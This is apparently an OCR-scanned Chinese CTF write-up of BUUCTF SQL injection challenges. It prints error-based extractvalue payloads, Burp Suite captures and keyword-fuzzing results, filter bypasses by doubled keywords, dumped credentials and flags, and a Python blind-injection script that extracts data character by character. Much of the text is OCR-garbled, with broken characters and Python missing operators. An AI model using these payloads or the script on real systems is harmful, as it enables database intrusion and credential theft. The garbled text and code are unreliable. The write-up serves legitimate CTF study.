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' or extractvalue(l,concat('~"',database())) #

FUNCTION geek.datebase does not exist

hitps//blog.csdn.net/gfl_459,

FRELE 4 geekuser I0ve1ysql1

and extractvalue(1,concat(0x7e, (select group_concat(table_name) from information_schema.tables where table_sc
hema="geek"))) #




XPATH syntax error: '~geekuser,|Ovelysql’

https://blog.csdn.net/qq_45924653

' and extractvalue(1l,concat(@x7e, (select group_concat(column_name) from information_schema.columns where table

name="10velysql"))) #

B z2#iE O %X2HR 8 Toos B ol B s 5§ #F [ WiR

XPATH syntax error: '~id,username,password’

https:/iblog.csdn.net/qq_45924653

)) #

and extractvalue(1,concat(@x7e, (select concat_ws(©x7e,id,username,password) from geek.lOvelysql where id='1")
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< C A 7%% | d116976f-0572-45fd-b3b9-6d78b54b3bc6.noded.buuoj.cn/check.php?username=%27+and+extractvalue%2...
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XPATH syntax error: '~v1~cl4y~wo_tai_nan_le'
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8 Burp Suite Professional v2021.2 - Temporary Project - licensed to surferxyz
Dashboard Target Intruder Repeater Sequencer Decod Comparer Extender Project options User options

HTTP history WebSockets history Options

Open Browser

Forward Drop Intercept is on Action

/ Request to http://d116976f-0572-45fd-b3b9-6d78b54b3bc6.node4.buuoj.cn:80 [117.21.200.166]
¥Q@

m \n  Actions v

GET /check.php?username=
%27+and+extractvalue$281%2Cconcat$280x7e%2C+%28select+concat_ws%280x7e%2Cid%2Cusername%2Cpassword%29+from+geek.1l0velysql+where+id%3D%271%27%29%29%29+%23

&password=admin HTTP/1.1
Host: d116976£-0572-45fd-b3b9-6d78b54b3bc6.node4.buuoj.cn

3 Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
.9,image/avif, image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;g=0.9

HO.LO3dSNI

5 Accept: text/html,application/xhtml+xml,application/xml;qg=
6 Referer: http://d116976f-0572-45fd-b3b9-6d78b54b3bc6.node4.buuoj.cn/
7 Accept-Encoding: gzip, deflate

8 Accepot-Landuade: en-US.en:a=0.9.zh-CN:a=0.8.zh:a=0.7




9 Cookie: UM _distinctid=17a6671fe5e7e4-0d57b292904dc6-34657400-1ea000-17a6671fe5fb96
10 Connection: close
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Intruder attack 1

id=16/ & IAH N A+ Hflag

Results Target Positions Payloads Options |

Filter: Showing all items @
Request Payload Status Error Timeout Length Comment
6 6 200 756
7 7 200 738
8 8 200 749
9 9 200 749
10 10 200 750
1 11 200 750
12 12 200 750
13 13 200 750
14 14 200 750
15 15 200 754
16 16 200 757
17 17 200 735
18 18 200 735
Request Response

Raw Render \n Actions w
<p align="center" style="font:italic 15px Georgia,serif;color:white;">
Syclover @ cl4y
</p>
</div>

17 <body background='./image/background.jpg' style='background-repeat:no-repeat ;background-size:100% 100%; backgrour
18 <br>

<br>
<br>
19 <hl style='font-family:verdana;color:#ffffff;text-align:center;font-size:15px'>
20 XPATH syntax error: '~l6~flag~flag{62daS5cdb-c71f-4cbd’
</h1l>
21 </body>
</html>
22
@{:C:)} & ||—=>|| Search... 0 matches
Finished
U) BUUCTF X @ check X SwitchyOmega 31 x| +
< C A F%E2 | d116976f-0572-45fd-b3b9-6d78b54b3bc6.noded.buuoj.cn/check.php?username=%27+and+extractvalue%2... ¥t ‘B T Eﬂ Y ¢ o H *»
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XPATH syntax error: '~16~flag~flag{62da5cdb-c71f-4cbd’

flag7E password % B HidfMusermame BATHAE T

and extractvalue(1,concat(0x7e, (select password from geek.l@velysql w
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XPATH syntax error: '~flag{62da5cdb-c71f-4cbd-afdd-cd’

flagi& A Bon 58 AT LA F substr() 2R %

and extractvalue(l, concat(@x7e, (select su (password,15,30) from geek.lOvelysql where id=

U’ BUUCTF X @ check X SwitchyOmega &I X +
< C A &2 | d116976f-0572-45fd-b3b9-6d78b54b3bc6.node4.buuoj.cn/check.php?username=%27+and+extractvalue%2... v ’E] B Eﬂ v § =)
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XPATH syntax error: '~c71f-4cbd-afdd-cd052b610c2d}'

PEflag?® Flflag{62da5cdb-c71f-4cbd-afdd-cdcd052b610c2d}
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[ Burp Suite Professional v2021.2 - Temporary Project - licensed to sur

Dashboard Target Intruder Repeater Sequencer Decoder Comparer Extender Project option

HTTP history WebSockets history Options

f Request to http://0518da22-5b08-460f-962f-c4588a7f3728.node4.buuoj.cn:80 [117.21.200.166]

Forward Drop Intercept is on Action Open Browser
m \n Actions

1 GET /check.php?username=admin&password=admin HTTP/1.1

2 Host: 0518da22-5b08-460f-962f-c4588a7£3728.node4.buuoj.cn

3 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10.15; rv:89.0) Gecko/20100101 Firefox/89.0
4 Accept: text/html,application/xhtml+xml,application/xml;g=0.9,image/webp,*/*;q=0.8
5 Accept-Language: zh-CN,zh;g=0.8,zh-TW;g=0.7,zh-HK;g=0.5,en-US;g=0.3,en;qg=0.2

6 Accept-Encoding: gzip, deflate

7 Connection: close

8 Referer: http://0518da22-5b08-460f-962f-c4588a7£3728.node4.buuoj.cn/

9 Cookie: UM distinctid=17a89f4bb5e386-09d4fla89belde8-445567-1ea000-17a89f4bb5£789
10 Upgrade-Insecure-Requests: 1

11
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@ ® Intruder attack 2

Results Target Positions Payloads Options

Filter: Showing all items

Request Payload Status Error Timeout Length Comment
2 + 200 726
6 sleep 200 726
9 having 200 726
10 or 200 726
16 select 200 726
17 insert 200 726
21 # 200 726
24 \ 200 726
38 > 200 726
39 < 200 726
60 200 726
61 ascii 200 726
0 200 751

Request Response

WA Raw Render \n Actions

15 <div style="position: absolute;bottom: 0;width: 99%;">

<p align="center" style="font:italic 15px Georgia,serif;color:white;">

Syclover @ cldy
</p>
</div>

16
17 <body background='./image/background.jpg' style='background-repeat:no-repeat ;background-size:
18 <br>

<br>
<br>
19 <hl style='font-family:verdana;color:red;text-align:center;font-size:40px;"'>
Input your username and password
</hl>
20 </body>
21
HToriid g T AN E St

' oorr extractvalue(l,concat(@x7e, database())) #

o000 BUUCTF X check X  +

& C @ O é 24dcdacb-a61a-46d7-bf96-d26c951532d6.node4.buuoj.cn/check.php?username="'+oorr+extractvalue(1%2Cconcat(0x7€%2C++ 2

D+ omemec - )oo. Dzese Dzed D O4avae Dzear Dz DeakE @ 383pthonxts [DToos D Fa [ xwse

FUNCTION geek.datebase does-not exist

BREBTIENE i

oorr extractvalue(1l,concat(0x7e, (selselectect group_concat(table name) frfromom infoorrmation_schema.tables w

hwhereere table_schema="geek"))) #



BUUCTF X check X aF

« > C @ O 8 24dcdacb-ab1a-46d7-bf96-d26c951532d6.node4.buuoj.cn/check.php?username="+oorr+extractvalue(1%2Cconcat(0x7e%2C+(s B

D#% Omexe - )oo. Dzese Ozxem Do Osave Dxewmi OBs Dasksk @ ss3pythonxt DToos D ¥a O xime

BE T geekuser®

oorr extractvalue(1l,concat(0x7e, (selselectect group_concat(column_name) frfromom infoorrmation_schema.columns
whwhereere table name="geekuser"))) #

Ui BUUCTF X check x  +
&« C @ O & ab 4e82-b3c9-1d 23.node4.buuoj.cn/chec p?username="'+oorr+extractvalue(1 B W ? o 9
O#s (Dwemez - oo Ozese Ozed Dwg Og9ve Ozemi Ows DEskk @ ssspythonxtt Dtods D wa [ sz 0O e

oorr extractvalue(l,concat(@x7e, (selselectect group_concat(username,passwoorrd) frfromom geek.geekuser
eere id='1"'))) #

Vil BUUCTF X check X -+
<« C @ O & abbd649c-400c-4e82-b3c9-1dd1e292a223.node4.buuoj.cn/check.php?username="+oorr+extractvalue( -at(0x7e%2C+ 2B & O 0 B 6 ¢
O#x wewec - oo, Dzesr Dzem Owpa Os97a Dxeas Owes Drsks @3s3pythonst DToos (JFa O xmsue D utwsx s

XPATH syngax errory'vadminsbf5573805b45b32b674d84267"

FREBEAERTE, HsubstrRBERFENT

oorr extractvalue(l,concat(@x7e, (selselectect subsubstrstr(passwoorrd,10,30) frfromom geek.geekuser whwhereer

e id="1"))) #

PHEEE 18 admin5bf5573805b45b32b674d8426739cac4
=R B JE & A flag



Ui BUUCTF X check X +

&« C @ O Q abbd649c-400c-4e82-b3c9-1dd1e292a223.node4.buuoj.cn/check.php?username=admin&password=5bf5573805b45b32b674 22 7y ‘J O 01 & © =

[ 4 pageze ¢ - )oo. Oxese DzzE Dem Os9vs Ozemi Ds OeEsws @ ssspythonxty DToos O xa [ xiugi O stz [JBings s

Qur passwordhis
5
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R A K

oorr extractvalue(l,concat(0x7e, (selselectect group_concat(column_name) frfromom infoorrmation_schema.columns
whwhereere table name="b4bsql"))) #

F B4 B id username password

oorr extractvalue(l,concat(0x7e, (selselectect concat _ws(©x7e,id,username,passwoorrd) frfromom geek.b4bsql whw
hereere id="'1"))) #

% BuucTF X check x |+
& C @ O & abbd649c-400c-4e82-b3c9-1dd1 1223.node4.buuoj.cn/check.php?username="+oorr+extractvalue(1%2Cconcat(0x7 + 2B a o h & ¢
D#z Owewec - )oo. Dzesze OxzE Deg Ogare Dxear O#s OEsse @ ssspythonsty Dtools D ¥a O g D xsz [Jomigs

XPATH syntax error? '~1a€l4y~i_want_to_play_2077"

4k SR 2 il id
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Intruder attack 3

Results Target Positions Payloads Options

Filter: Showing all items @
Request Payload Status Error Timeout Length Comment
3 3 200 870
4 4 200 875
5 5 200 873
6 6 200 871
7 7 200 865
8 8 200 875
9 9 200 751
10 10 200 751
1 1 200 751
12 12 200 751
13 13 200 751
14 14 200 751
15 15 200 751
Request Response
Raw Render \n Actions »
<br>
19 <hl style='font-family:verdana;color:red;text-align:center;font-size:40px;'>
Error!<br/>
</hl>
20 </br>
21
22 <p style='font-family:verdana;color:#ffffff;text-align:center;font-size:15px;"'>
XPATH syntax error: '~8~flag~flag{7e066331-6279-4d%a-'
</p>
23 </body>
24
25
26
27 </html>
@ @ € ||=>|| Search... 0 matches
Finished hitps:/1b10g.cSaN.NeUq d_45924653

Ui BUUCTF X check X o
&< C o O 8 abbd649c-400c-4e82-b3c9-1dd1e292a223.node4.buuoj.cn/check.php?username="+oorr+extractvalue(1%2Cconcat(0x7e%2C+ 2 " C
D #% ) wagpeng ¢ - oo Oxrezi DxeE Deg O43vae Dzear Oz DeskE @ 3s83pythonstt (DToos (D Fa [ xwme

XPATH Syqtax error: {~flag{7e066331-6279-4d9a-b3ac-89'

4k 2 {8 F substriff #:/5 2lflag{7e066331-6279-4d9a-b3ac-89975e191077}
AT LA F left() right() R £k
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[ NON | Intruder attack 4
Results Target Positions Payloads Options
Filter: Showing all items @
Request Payload Status Error Timeout  Length Comment
39 < 200 736
43 = 200 736
44 AND 200 736
45 BY 200 736
141 by 200 736
143 OUTFILE 200 736
156 benchmark 200 736
158 bin 200 736
159 substring 200 736
164 VARCHAR 200 736
168 r~ 200 736
175 mid 200 736
181 sys schemma 200 736
Request Response

Raw Render \n Actions v
<p align="center" style="font:italic 15px Georgia,serif;color:white;">
Syclover @ cldy
</p>
</div>

17 <body background='./image/background.jpg’' style='background-repeat:no-repeat ;background-size:100% 100%; backgrour
18 <br>

<br>

<br>
19 <hl style='font-family:verdana;color:red;text-align:center;font-size:40px;'>

RETBIIRERIET, RBH

</hl>
20 </br>
21 </body>
22
@@ | Search... | 0 matches
Finished httpe:/blog.csdn.netigq 45924853

'or(extractvalue(1,concat(@x7e,database())))#

S 8|geekE, BRZATHJLE AR

(extractvalue(1,concat(@ex7e, (select(table_name)from(information_schema.tables)

where(table_schema) ("geek")))))#

RAE—5KH4rDsq1&

(extractvalue(1,concat(ex7e, (select(group_concat(column_name))from(information_schema.columns)
where(table_name) ("H4rDsql")))))#

& =ANF Bid username password

'or(extractvalue(1,concat(0x7e, (select(password)from(geek.H4rDsql)where(id)like('1')))))#



[ N N J BUUCTF X check X +

& C @ O ﬂ 80111679-767e-4635-b68b-ed1e66084db6.noded.buuoj.cn/check.php?username='or(extractvalue(1%2Cconcat(0x7e%2C(selec 2oy

O#x (OmeEwec - )oo. Oxrese Ozl OpE Ds3vs Dzemd DEg OEsksk @ 3s3pythonxt DToos D Fa O xse

XPATH-syntax errar:{'~flag{2c865432-7ec2-4a99-af83-dc'

flag{2c865432-7ec2-4a99-af83-dc
substrif #iid 38 T Fright() s8R %

'or(extractvalue(1,concat(@x7e, (select(right(password,15))from(geek.H4rDsql)where(id)like('1")))))#

£ %lflag{2c865432-7ec2-4a99-af83-dc9608b9ac7f}

WA LAMNIE, AEFEHEE, FHpythonllgE T
MRIdEH TEE, FERERROR! FniEEZIERHK
wmRidENIEE, BHEZError! RoRiBIEE IR

import requests

def attack_database():
name "
url load "http://a6fde7aa-ddb8-435a-8131-c3b750065b8b.node4.buuoj.cn/search.php?id="
for i range(1,1000):
low = 32
high = 128
mid = (low+high)//2
while low<high:
payload "1~(ascii(substr(database(),%d,1))>%d)#"%(i,mid)
S requests.session()
url url load payload
r = s.get(url)
if "ERROR" r.text:
low = mid 1
else:
high mid
mid = (low+high)//2
if mid 32:
break

name = name + chr(mid)

print("database_name: name)

def attack table():
name "
url load "http://a6fde7aa-ddb8-435a-8131-c3b750065b8b.node4.buuoj.cn/search.php?id="
for i range(1,1000):
low = 32
high = 128
low+high)//2




payload "1~ (ascii(substr((select(group_concat(table name))from(information_schema.tables)where(tab
le_schema)="geek"'),%d,1))>%d)#"%(i,mid)
s requests.session()
url url load payload
r s.get(url)
if "ERROR" r.text:
low = mid 1
else:
high = mid
mid (low+high)//2
if mid 3¢

break

name name chr(mid)

print("table_name: name)

def attack_columns():
name "
url load "http://a6fde7aa-ddb8-435a-8131-c3b750065b8b.node4.buuoj.cn/search.php?id="
for i range(1,1000):
low 32
high = 128
mid (low+high)//2
while low<high:
payload "1~ (ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(t
able_name)="'FlnaIly'),%d,1))>%d)#"%(i,mid)
s requests.session()
url url load payload
r s.get(url)
if "ERROR" r.text:
low = mid 1
else:
high mid
mid (low+high)//2
if mid 3¢
break

name = name + chr(mid)
print("column: " name)

def attack flag():
name "
url load "http://a6fde7aa-ddb8-435a-8131-c3b750065b8b.node4.buuoj.cn/search.php?id="
for i range(1,1000):
low = 32
high = 128
mid = (low+high)//2
while low<high:
payload "1~ (ascii(substr((select(group_concat(password))from(Flnally)),%d,1))>%d)#"%(i,mid)
S requests.session()
url url load payload
r = s.get(url)
if "ERROR" r.text:
low = mid 1
else:
high mid
mid = (low+high)//2
if mid 32:
break




name ES chr(mid)

t("flag: " name)

W sql_script — clay0x7779@Coke — ..cf

sql _ctf.py
database_name: geek
table_name: Filnal,y,Flaaaaag
column: id,username,password
flag: cl4y_is_really_amazing,telcome_to_my_blog,http://www.cléy.top, http://Pww.cléy.top,http://www.cléy.top,http://www.cléy.top,welcom_to_Syclover,cl3y_really_need_a_grilfriend, flag{f3a48
4f30-a20d-bf450046F6aa}
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